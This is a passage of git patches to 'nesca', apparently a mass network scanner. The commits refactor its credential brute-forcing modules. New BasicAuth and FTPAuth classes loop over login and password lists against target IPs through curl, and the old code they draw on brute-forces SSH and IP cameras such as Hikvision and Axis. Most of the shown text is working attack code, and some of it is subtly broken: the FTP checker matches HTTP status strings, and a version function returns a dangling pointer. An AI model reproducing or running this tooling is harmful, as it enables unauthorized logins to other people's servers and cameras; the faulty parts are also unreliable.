a/nesca_3.cpp +++ b/nesca_3.cpp @@ -1574,12 +1574,14 @@ bool nesca_3::eventFilter(QObject* obj, QEvent *event) }; return false; } - else if (obj == ui->widgetIRC) + else if (obj == qwm) { - if(MapWidgetOpened) - { - qwm->raise(); - }; + //auto qwe = event->type(); + if(MapWidgetOpened && event->type() == QEvent::WindowActivate) + { + //qwm->raise(); + this->raise(); + }; if (event->type() == QEvent::KeyPress) { QKeyEvent* keyEvent = static_cast<QKeyEvent*>(event); @@ -1598,18 +1600,7 @@ bool nesca_3::eventFilter(QObject* obj, QEvent *event) return true; }; return false; - } -// else if (obj == qwm) -// { -// ///TODO: raise parent window with qwm -// if(event->type() == QEvent::MouseButtonPress) -// { -// Qt::WindowFlags eFlags = windowFlags (); -// eFlags |= Qt::WindowStaysOnTopHint; -// setWindowFlags(eFlags); -// return true; -// }; -// } + } else { if (event->type() == QEvent::KeyPress) @@ -1628,7 +1619,11 @@ bool nesca_3::eventFilter(QObject* obj, QEvent *event) privateMsgFlag = false; event->accept(); return true; - }; + } + else if(MapWidgetOpened && event->type() == QEvent::WindowActivate) + { + qwm->raise(); + }; return false; }; } @@ -2057,7 +2052,7 @@ void nesca_3::slotShowDataflow() { MapWidgetOpened = true; ui->DataflowModeBut->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);"); - qwm = new QWidget(); + qwm = new QWidget(); qwm->setWindowFlags(Qt::FramelessWindowHint|Qt::SubWindow); qwm->installEventFilter(this); qwm->setStyleSheet( @@ -3198,7 +3193,7 @@ void CreateVerFile() }; } -char GetVer() +const char *GetVer() { int dver = 0; int tver = 0; @@ -3241,7 +3236,7 @@ char GetVer() char db[32] = {0}; sprintf(db, "%X-%X", dver, tver); - return *db; + return std::string(db).c_str(); } void nesca_3::slotShowRedVersion() @@ -3262,9 +3257,8 @@ void _startMsgCheck() nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent) { setWindowFlags ( Qt::FramelessWindowHint ); - this->hide(); - gthis = this; + gthis = this; ui->setupUi(this); ui->widgetIRC->installEventFilter(this); ui->shoutBox->installEventFilter(this); @@ -3275,7 +3269,7 @@ void _startMsgCheck() ui->rVerLabel->hide(); setSceneArea(); - tray = new QSystemTrayIcon(QIcon(":/nesca_3/Z:/nesca.ico"), this); + tray = new QSystemTrayIcon(QIcon(":/nesca_3/nesca.ico"), this); tray->hide(); SetValidators(); @@ -3286,9 +3280,8 @@ void _startMsgCheck() ui->ircNickBox->setText("nsa_" + QString::number(qrand() % 8999 + 1000)); - const char &rVer = GetVer(); - QString QVER((const char *)rVer); - QVER += QString(rVer + 1); + const char *rVer = GetVer(); + QString QVER(rVer); strcpy(gVER, QVER.toLatin1().data()); ui->logoLabel->setToolTip("v3-" + QVER); ui->logoLabel->setStyleSheet("color:white; border: none;background-color:black;"); From a527c6d43c9654e091b9f73aa68f604dcecccf11 Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Fri, 13 Mar 2015 17:27:21 +0300 Subject: [PATCH 32/66] BA refac --- BasicAuth.cpp | 25 ++++++++++++++++++++++++ BasicAuth.h | 22 ++++++++++++++++++++++ BruteUtils.cpp | 35 ++++++++++++++++++++++++++++++++++ BruteUtils.h | 11 +++++++++++ Connector.cpp | 8 ++++---- Connector.h | 3 ++- WebformWorker.h | 6 +++--- connector_old.cpp | 48 ++++++++--------------------------------------- nesca.pro | 8 ++++++-- 9 files changed, 116 insertions(+), 50 deletions(-) create mode 100644 BasicAuth.cpp create mode 100644 BasicAuth.h create mode 100644 BruteUtils.cpp create mode 100644 BruteUtils.h diff --git a/BasicAuth.cpp b/BasicAuth.cpp new file mode 100644 index 0000000..f99ff97 --- /dev/null +++ b/BasicAuth.cpp @@ -0,0 +1,25 @@ +#include <BasicAuth.h> + +lopaStr BA::_BABrute(char *cookie, + char *ip, + int port, + char *pathT, + char *method) +{ + +} + +lopaStr BA::_BALobby(char *cookie, + char *ip, + int port, + char *path, + char *method) +{ + while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); + + BruteUtils::BConInc(); + lopaStr res = _BABrute(cookie, ip, port, path, method); + BruteUtils::BConDec(); + + return res; +} diff --git a/BasicAuth.h b/BasicAuth.h new file mode 100644 index 0000000..70ec150 --- /dev/null +++ b/BasicAuth.h @@ -0,0 +1,22 @@ +#ifndef BASICAUTH_H +#define BASICAUTH_H + +#include <BruteUtils.h> +#include <mainResources.h> + +class BA : BruteUtils{ +private: + lopaStr _BABrute(char *cookie, + char *ip, + int port, + char *pathT, + char *method); + + lopaStr _BALobby(char *cookie, + char *ip, + int port, + char *path, + char *method); +}; + +#endif // BASICAUTH_H diff --git a/BruteUtils.cpp b/BruteUtils.cpp new file mode 100644 index 0000000..14144c7 --- /dev/null +++ b/BruteUtils.cpp @@ -0,0 +1,35 @@ +#include <BruteUtils.h> +#include "STh.h" +#include "externData.h" + +void BruteUtils::BConInc() +{ +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) +__asm + { + lock inc BrutingThrds; + }; +#else + asm("lock incl BrutingThrds"); +#endif + + stt->doEmitionChangeBA(QString::number(BrutingThrds)); +} + +void BruteUtils::BConDec() +{ + if(BrutingThrds > 0) + { +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + __asm + { + lock dec BrutingThrds; + }; +#else + asm("lock decl BrutingThrds"); +#endif + } + + stt->doEmitionChangeBA(QString::number(BrutingThrds)); + +} diff --git a/BruteUtils.h b/BruteUtils.h new file mode 100644 index 0000000..1580076 --- /dev/null +++ b/BruteUtils.h @@ -0,0 +1,11 @@ +#ifndef BRUTEUTILS_H +#define BRUTEUTILS_H + +class BruteUtils { + +public: + static void BConInc(); + static void BConDec(); +}; + +#endif // BRUTEUTILS_H diff --git a/Connector.cpp b/Connector.cpp index 8de8fea..38297a9 100644 --- a/Connector.cpp +++ b/Connector.cpp @@ -173,7 +173,7 @@ int _EstablishSSHConnection(char *host, int port, std::string *buffer, const cha char pass[32] = {0}; char temp[64] = {0}; isActive = 1; - BConInc(); + BruteUtils::BConInc(); int sz = 0; char *ptr1 = 0; int res = -1; @@ -192,19 +192,19 @@ int _EstablishSSHConnection(char *host, int port, std::string *buffer, const cha if(res == 0) { if(i == 0) return -2; //Failhit - BConDec(); + BruteUtils::BConDec(); isActive = 0; return 1; } else if(res == -2) { - BConDec(); + BruteUtils::BConDec(); isActive = 0; return -2; }; Sleep(500); }; - BConDec(); + BruteUtils::BConDec(); isActive = 0; return -1; } diff --git a/Connector.h b/Connector.h index 4c6d3ca..0fa3fee 100644 --- a/Connector.h +++ b/Connector.h @@ -2,8 +2,9 @@ #define CONNECTOR_H #include <externData.h> -#include <STh.h> #include <Utils.h> +#include <BruteUtils.h> +#include "STh.h" #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #include <iphlpapi.h> diff --git a/WebformWorker.h b/WebformWorker.h index b01fd95..f7deed8 100644 --- a/WebformWorker.h +++ b/WebformWorker.h @@ -2,13 +2,13 @@ #define WEBFORMWORKER_H #include <Utils.h> -#include "STh.h" #include "Connector.h" #include <mainResources.h> -#include <externData.h> #include <externFunctions.h> +#include <BruteUtils.h> +#include "STh.h" -class WFClass { +class WFClass : BruteUtils { private: static bool active; int passCounter = 1; diff --git a/connector_old.cpp b/connector_old.cpp index a610c24..026f9d0 100644 --- a/connector_old.cpp +++ b/connector_old.cpp @@ -1,5 +1,4 @@ -#pragma once -#include "STh.h" +#include "STh.h" #include <libssh/libssh.h> #include <sstream> #include <openssl/md5.h> @@ -8,6 +7,7 @@ #include "externData.h" #include <openssl/err.h> #include <Utils.h> +#include <BruteUtils.h> #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #include <iphlpapi.h> @@ -30,38 +30,6 @@ int _countFTPDirectories(char *recvBuff){ return dirCounter; } -void BConInc() -{ -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -__asm - { - lock inc BrutingThrds; - }; -#else - asm("lock incl BrutingThrds"); -#endif - - stt->doEmitionChangeBA(QString::number(BrutingThrds)); -} - -void BConDec() -{ - if(BrutingThrds > 0) - { -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - __asm - { - lock dec BrutingThrds; - }; -#else - asm("lock decl BrutingThrds"); -#endif - } - - stt->doEmitionChangeBA(QString::number(BrutingThrds)); - -} - bool debugWriteWait = false; void _DebugWriteHTMLToFile(char *request, char *buff) { @@ -904,9 +872,9 @@ lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); - BConInc(); + BruteUtils::BConInc(); lopaStr res = _BABrute(cookie, ip, port, path, method); - BConDec(); + BruteUtils::BConDec(); return res; } @@ -1338,9 +1306,9 @@ lopaStr _FTPLobby(char *ip, int port, PathStr *ps) ZeroMemory(lps.pass, sizeof(lps.pass)); ZeroMemory(lps.other, sizeof(lps.other)); - BConInc(); + BruteUtils::BConInc(); lps = _FTPBrute(ip, port, ps); - BConDec(); + BruteUtils::BConDec(); return lps; } @@ -1744,9 +1712,9 @@ lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); - BConInc(); + BruteUtils::BConInc(); lopaStr res = _IPCameraBrute(ip, port, SPEC); - BConDec(); + BruteUtils::BConDec(); return res; } diff --git a/nesca.pro b/nesca.pro index a493743..4cb5581 100644 --- a/nesca.pro +++ b/nesca.pro @@ -40,7 +40,9 @@ SOURCES +=\ WebformWorker.cpp \ Connector.cpp \ connector_old.cpp \ - Utils.cpp + Utils.cpp \ + BruteUtils.cpp \ + BasicAuth.cpp HEADERS += ActivityDrawerTh_HorNet.h \ @@ -67,7 +69,9 @@ HEADERS += ActivityDrawerTh_HorNet.h \ vercheckerthread.h \ Utils.h \ WebformWorker.h \ - Connector.h + Connector.h \ + BasicAuth.h \ + BruteUtils.h FORMS += nesca_3.ui From 235db2182910b0f7b1575852955a4b2e8f7271f9 Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Mon, 16 Mar 2015 17:29:34 +0300 Subject: [PATCH 33/66] FTP & BA refactoring --- BasicAuth.cpp | 55 +- BasicAuth.h | 17 +- Connector.cpp | 34 +- Connector.h | 5 +- FTPAuth.cpp | 62 ++ FTPAuth.h | 19 + connector_old.cpp | 1701 ++++++++++++++++++++--------------------- externData.h | 2 +- finder.cpp | 335 +++----- mainResources.h | 25 +- msgcheckerthread.cpp | 10 +- nesca.pro | 6 +- nesca_3.cpp | 10 +- nesca_startModule.cpp | 11 +- 14 files changed, 1112 insertions(+), 1180 deletions(-) create mode 100644 FTPAuth.cpp create mode 100644 FTPAuth.h diff --git a/BasicAuth.cpp b/BasicAuth.cpp index f99ff97..73c84b0 100644 --- a/BasicAuth.cpp +++ b/BasicAuth.cpp @@ -1,24 +1,55 @@ #include <BasicAuth.h> -lopaStr BA::_BABrute(char *cookie, - char *ip, - int port, - char *pathT, - char *method) -{ +bool BA::checkOutput(const string *buffer) { + if(Utils::ci_find_substr(*buffer, "200 ok") != -1 || + Utils::ci_find_substr(*buffer, "http/1.0 200") != -1 || + Utils::ci_find_substr(*buffer, "http/1.1 200") != -1 + ) { + return true; + } + + return false; } -lopaStr BA::_BALobby(char *cookie, - char *ip, - int port, - char *path, - char *method) +lopaStr BA::_BABrute(const char *ip, const int port) { + string buffer; + string lpString; + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + strcpy(lps.login, "UNKNOWN"); + + for(int i = 0; i < MaxLogin; ++i) { + if(!globalScanFlag) return lps; + for (int j = 0; j < MaxPass; ++j) { + if (!globalScanFlag) return lps; + + lpString = string(loginLst[i]) + ":" + string(passLst[j]); + + Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString); + + if(checkOutput(&buffer) != 0) { + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + return lps; + }; + + Sleep(70); + } + } + + return lps; +} + +lopaStr BA::_BALobby(const char *ip, const int port) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); BruteUtils::BConInc(); - lopaStr res = _BABrute(cookie, ip, port, path, method); + const lopaStr &res = _BABrute(ip, port); BruteUtils::BConDec(); return res; diff --git a/BasicAuth.h b/BasicAuth.h index 70ec150..56046f0 100644 --- a/BasicAuth.h +++ b/BasicAuth.h @@ -1,22 +1,19 @@ #ifndef BASICAUTH_H #define BASICAUTH_H +#include <Connector.h> #include <BruteUtils.h> +#include <Utils.h> +#include <externData.h> #include <mainResources.h> class BA : BruteUtils{ private: - lopaStr _BABrute(char *cookie, - char *ip, - int port, - char *pathT, - char *method); + static bool checkOutput(const string *buffer); + static lopaStr _BABrute(const char *ip, const int port); - lopaStr _BALobby(char *cookie, - char *ip, - int port, - char *path, - char *method); +public: + static lopaStr _BALobby(const char *ip, const int port); }; #endif // BASICAUTH_H diff --git a/Connector.cpp b/Connector.cpp index 38297a9..58ec71c 100644 --- a/Connector.cpp +++ b/Connector.cpp @@ -172,7 +172,6 @@ int _EstablishSSHConnection(char *host, int port, std::string *buffer, const cha char login[32] = {0}; char pass[32] = {0}; char temp[64] = {0}; - isActive = 1; BruteUtils::BConInc(); int sz = 0; char *ptr1 = 0; @@ -193,19 +192,16 @@ int _EstablishSSHConnection(char *host, int port, std::string *buffer, const cha { if(i == 0) return -2; //Failhit BruteUtils::BConDec(); - isActive = 0; return 1; } else if(res == -2) { BruteUtils::BConDec(); - isActive = 0; return -2; }; Sleep(500); }; BruteUtils::BConDec(); - isActive = 0; return -1; } @@ -232,9 +228,11 @@ int my_trace(CURL *handle, curl_infotype type, void *userp) { switch (type) { - case CURLINFO_HEADER_OUT: - data[strstr(data, "\r\n\r\n") - data] = '\0'; - stt->doEmitionAddOutData(QString(data)); + case CURLINFO_HEADER_OUT: { + data[strstr(data, "\r\n\r\n") - data] = '\0'; + stt->doEmitionAddOutData(QString(data)); + break; + } } return 0; @@ -248,22 +246,25 @@ static size_t nWriteCallback(void *contents, size_t size, size_t nmemb, void *us int Connector::nConnect(const char *ip, const int port, std::string *buffer, const char *postData, - const std::vector<std::string> *customHeaders){ - + const std::vector<std::string> *customHeaders, + const std::string *lpString){ + buffer->clear(); CURL *curl = curl_easy_init(); + curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 0L); if (curl) { if (MapWidgetOpened) { struct data config; config.trace_ascii = 1; /* enable ascii tracing */ - curl_easy_setopt(curl, CURLOPT_DEBUGFUNCTION, my_trace); - curl_easy_setopt(curl, CURLOPT_DEBUGDATA, &config); - curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); + curl_easy_setopt(curl, CURLOPT_DEBUGFUNCTION, my_trace); + curl_easy_setopt(curl, CURLOPT_DEBUGDATA, &config); + curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } curl_easy_setopt(curl, CURLOPT_URL, ip); curl_easy_setopt(curl, CURLOPT_PORT, port); - curl_easy_setopt(curl, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0"); + curl_easy_setopt(curl, CURLOPT_USERAGENT, + "Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0"); curl_easy_setopt(curl, CURLOPT_HEADER, 1L); curl_easy_setopt(curl, CURLOPT_AUTOREFERER, 1L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); @@ -296,14 +297,19 @@ int Connector::nConnect(const char *ip, const int port, std::string *buffer, curl_easy_setopt(curl, CURLOPT_HTTPHEADER, chunk); } + if(lpString != NULL) { + curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_ANY); + curl_easy_setopt(curl, CURLOPT_USERPWD, lpString); + }; + curl_easy_perform(curl); - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str())); curl_easy_cleanup(curl); } else { stt->doEmitionRedFoundData("Curl error."); return -1; }; + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str())); return buffer->size(); } int Connector::_ConnectToPort(char *ip, int port, char *hl) diff --git a/Connector.h b/Connector.h index 0fa3fee..2d4194b 100644 --- a/Connector.h +++ b/Connector.h @@ -18,8 +18,9 @@ class Connector { public: static int nConnect(const char *ip, const int port, std::string *buffer, - const char *postData = NULL, - const std::vector<std::string> *customHeaders = NULL); + const char *postData = NULL, + const std::vector<std::string> *customHeaders = NULL, + const string *lpString = NULL); static int _ConnectToPort(char *ip, int port, char *hl); static int _SSHLobby(char *ip, int port, std::string *buffer); }; diff --git a/FTPAuth.cpp b/FTPAuth.cpp new file mode 100644 index 0000000..401b002 --- /dev/null +++ b/FTPAuth.cpp @@ -0,0 +1,62 @@ +#include "FTPAuth.h" + +bool FTPA::checkOutput(const string *buffer) { + //Login or password incorrect! + + if(Utils::ci_find_substr(*buffer, "200 ok") != -1 || + Utils::ci_find_substr(*buffer, "http/1.0 200") != -1 || + Utils::ci_find_substr(*buffer, "http/1.1 200") != -1 + ) { + + return true; + } + + return false; +} + +lopaStr FTPA::_FTPBrute(const char *ip, const int port, const PathStr *ps) { + string buffer; + string lpString; + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + strcpy(lps.login, "UNKNOWN"); + + for(int i = 0; i < MaxLogin; ++i) + { + if(!globalScanFlag) return lps; + if(strlen(loginLst[i]) <= 1) continue; + + for(int j = 0; j < MaxPass; ++j) + { + if(!globalScanFlag) return lps; + if(strlen(passLst[j]) <= 1) continue; + + lpString = string(loginLst[i]) + ":" + string(passLst[j]); + + Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString); + + if(checkOutput(&buffer) != 0) { + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + return lps; + }; + + Sleep(70); + } + } + + return lps; +} + +lopaStr FTPA::_FTPLobby(const char *ip, const int port, const PathStr *ps){ + while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); + + BruteUtils::BConInc(); + const lopaStr &lps = _FTPBrute(ip, port, ps); + BruteUtils::BConDec(); + + return lps; +} diff --git a/FTPAuth.h b/FTPAuth.h new file mode 100644 index 0000000..059a553 --- /dev/null +++ b/FTPAuth.h @@ -0,0 +1,19 @@ +#ifndef FTPAUTH_H +#define FTPAUTH_H + +#include <Connector.h> +#include <BruteUtils.h> +#include <Utils.h> +#include <externData.h> +#include <mainResources.h> + +class FTPA { + private: + static bool checkOutput(const string *buffer); + static lopaStr _FTPBrute(const char *ip, const int port, const PathStr *ps); + + public: + static lopaStr _FTPLobby(const char *ip, const int port, const PathStr *ps); +}; + +#endif // FTPAUTH_H diff --git a/connector_old.cpp b/connector_old.cpp index 026f9d0..ccfb33b 100644 --- a/connector_old.cpp +++ b/connector_old.cpp @@ -357,961 +357,943 @@ char *_makeDigestResponse( return (char*)responseMD5; } -lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) -{ - if(strcmp(method, "[DIGEST]") != 0 && strcmp(method, "[NORMAL]") != 0) stt->doEmitionRedFoundData("[-] Unknown method IP: <a style=\"color: #efe100;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "\">" + QString(ip) + ":" + QString::number(port) + + "</a>"); - lopaStr lps; - ZeroMemory(lps.login, sizeof(lps.login)); - ZeroMemory(lps.pass, sizeof(lps.pass)); - ZeroMemory(lps.other, sizeof(lps.other)); +//lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) +//{ +// if(strcmp(method, "[DIGEST]") != 0 && strcmp(method, "[NORMAL]") != 0) stt->doEmitionRedFoundData("[-] Unknown method IP: <a style=\"color: #efe100;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "\">" + QString(ip) + ":" + QString::number(port) + + "</a>"); +// lopaStr lps; +// ZeroMemory(lps.login, sizeof(lps.login)); +// ZeroMemory(lps.pass, sizeof(lps.pass)); +// ZeroMemory(lps.other, sizeof(lps.other)); - int cookieLen = strlen(cookie); - char path[512] = {0}; - strncpy(path, pathT, 512); +// int cookieLen = strlen(cookie); +// char path[512] = {0}; +// strncpy(path, pathT, 512); - int bTO; - bool goon = false; - char hRqst[REQUEST_MAX_SIZE] = {0}; - char headerMsg[REQUEST_MAX_SIZE] = { 0 }; - char hMsgR[512] = {0}; +// int bTO; +// bool goon = false; +// char hRqst[REQUEST_MAX_SIZE] = {0}; +// char headerMsg[REQUEST_MAX_SIZE] = { 0 }; +// char hMsgR[512] = {0}; - strcpy(hRqst, "GET "); - strcat(hRqst, path); - strcat(hRqst, " HTTP/1.1\r\nHost: "); - strcat(hRqst, ip); +// strcpy(hRqst, "GET "); +// strcat(hRqst, path); +// strcat(hRqst, " HTTP/1.1\r\nHost: "); +// strcat(hRqst, ip); - if(port != 80){ - strcat(hRqst, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(hRqst, tbuff); - }; +// if(port != 80){ +// strcat(hRqst, ":"); +// char tbuff[16] = {0}; +// sprintf(tbuff, "%d", port); +// strcat(hRqst, tbuff); +// }; - if(cookieLen != 0) - { - strcat(hRqst, "\r\nCookie: "); - strcat(hRqst, cookie); - }; - strcat(hRqst, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic bG9sa2E6bG9sa2F=\r\n\r\n"); +// if(cookieLen != 0) +// { +// strcat(hRqst, "\r\nCookie: "); +// strcat(hRqst, cookie); +// }; +// strcat(hRqst, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic bG9sa2E6bG9sa2F=\r\n\r\n"); - sockaddr_in sockAddr; - if(port == 443) - { - ZeroMemory(headerMsg, REQUEST_MAX_SIZE); - _baSSLWorker(ip, hRqst, headerMsg); - } +// sockaddr_in sockAddr; +// if(port == 443) +// { +// ZeroMemory(headerMsg, REQUEST_MAX_SIZE); +// _baSSLWorker(ip, hRqst, headerMsg); +// } - else - { - SOCKET sock; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(port); - HOSTENT *host; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); - else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; -#else - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); - else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - if(sock != INVALID_SOCKET) { +// else +// { +// SOCKET sock; +// sockAddr.sin_family = AF_INET; +// sockAddr.sin_port = htons(port); +// HOSTENT *host; +//#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) +// if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); +// else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +// else +// { +// isActive = 0; +// strcpy(lps.login, "UNKNOWN"); +// return lps; +// }; +//#else +// if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); +// else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +// else +// { +// isActive = 0; +// strcpy(lps.login, "UNKNOWN"); +// return lps; +// }; +//#endif +// sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); +// if(sock != INVALID_SOCKET) { - if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) != SOCKET_ERROR) { +// if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) != SOCKET_ERROR) { - if(send(sock, hRqst, strlen(hRqst), 0) != SOCKET_ERROR) { +// if(send(sock, hRqst, strlen(hRqst), 0) != SOCKET_ERROR) { - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(hRqst)); - ZeroMemory(headerMsg, REQUEST_MAX_SIZE); - int x = 1; - int xx = 0; +// if(MapWidgetOpened) stt->doEmitionAddOutData(QString(hRqst)); +// ZeroMemory(headerMsg, REQUEST_MAX_SIZE); +// int x = 1; +// int xx = 0; - while (xx < REQUEST_MAX_SIZE) - { - x = recvWT(sock, hMsgR, sizeof(hMsgR), gTimeOut + 5, &bTO); - if(x <= 0) break; - strncat(headerMsg, hMsgR, x); - xx += x; - ZeroMemory(hMsgR, sizeof(hMsgR)); - }; +// while (xx < REQUEST_MAX_SIZE) +// { +// x = recvWT(sock, hMsgR, sizeof(hMsgR), gTimeOut + 5, &bTO); +// if(x <= 0) break; +// strncat(headerMsg, hMsgR, x); +// xx += x; +// ZeroMemory(hMsgR, sizeof(hMsgR)); +// }; - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(headerMsg)); - } else { - if(gDebugMode) stt->doEmitionDebugFoundData("[BA::Send]: " + QString::number(WSAGetLastError())); - }; - } else { - if(gDebugMode) stt->doEmitionDebugFoundData("[BA::Connect]: " + QString::number(WSAGetLastError())); - }; - } else { - if(gDebugMode) stt->doEmitionDebugFoundData("[BA: Invalid socket]: " + QString::number(WSAGetLastError())); - }; - CSSOCKET(sock); - }; +// if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(headerMsg)); +// } else { +// if(gDebugMode) stt->doEmitionDebugFoundData("[BA::Send]: " + QString::number(WSAGetLastError())); +// }; +// } else { +// if(gDebugMode) stt->doEmitionDebugFoundData("[BA::Connect]: " + QString::number(WSAGetLastError())); +// }; +// } else { +// if(gDebugMode) stt->doEmitionDebugFoundData("[BA: Invalid socket]: " + QString::number(WSAGetLastError())); +// }; +// CSSOCKET(sock); +// }; - if(strlen(headerMsg) == 0) - { - isActive = 0; +// if(strlen(headerMsg) == 0) +// { +// isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; +// strcpy(lps.login, "UNKNOWN"); +// return lps; +// }; - if(strstr(headerMsg, "401 ") == NULL - && strstr(headerMsg, ".1 401") == NULL - && strstr(headerMsg, ".0 401") == NULL - && strstr(headerMsg, "<statusValue>401</statusValue>") == NULL - && strstr(headerMsg, "<statusString>Unauthorized</statusString>") == NULL - && strstr(headerMsg, "неправильны") == NULL && strstr(headerMsg, "Неправильны") == NULL - && strstr(headerMsg, "Неправильны") == NULL - ) - { - if(strstri(headerMsg, "400 Bad") != NULL) - { - strcpy(lps.other, "[400 Bad Request]"); - isActive = 0; - return lps; - } - else if(strstri(headerMsg, "404 Not") != NULL - || strstr(headerMsg, "404 ") != NULL - || strstr(headerMsg, ".1 404") != NULL - || strstr(headerMsg, ".0 404") != NULL - ) - { - if(strstr(path, "/axis-cgi/com/ptz.cgi?") != NULL) - { - int sz = strlen("/view/viewer_index.shtml"); - strncpy(path, "/view/viewer_index.shtml", sz); - memset(path + sz, 0, 1); - goon = true; - } - else - { - strcpy(lps.other, QString("[404 Not Found (" + QString(path) + ")]").toLocal8Bit().data()); - isActive = 0; - return lps; - }; - } - else if( // - (strstr(headerMsg, ".1 403") != NULL // - || strstr(headerMsg, ".0 403") != NULL //Hikkvision2 - ) // - && strstr(headerMsg, "badAuthorization") != NULL // - ) - { - goon = true; - } - else if(strlen(headerMsg) < 16) - { - goon = true; - stt->doEmitionRedFoundData("Corrupted reply: (" + QString(headerMsg) + ") " + QString(ip) + ":"+ QString::number(port)); - }; +// if(strstr(headerMsg, "401 ") == NULL +// && strstr(headerMsg, ".1 401") == NULL +// && strstr(headerMsg, ".0 401") == NULL +// && strstr(headerMsg, "<statusValue>401</statusValue>") == NULL +// && strstr(headerMsg, "<statusString>Unauthorized</statusString>") == NULL +// && strstr(headerMsg, "неправильны") == NULL && strstr(headerMsg, "Неправильны") == NULL +// && strstr(headerMsg, "Неправильны") == NULL +// ) +// { +// if(strstri(headerMsg, "400 Bad") != NULL) +// { +// strcpy(lps.other, "[400 Bad Request]"); +// isActive = 0; +// return lps; +// } +// else if(strstri(headerMsg, "404 Not") != NULL +// || strstr(headerMsg, "404 ") != NULL +// || strstr(headerMsg, ".1 404") != NULL +// || strstr(headerMsg, ".0 404") != NULL +// ) +// { +// 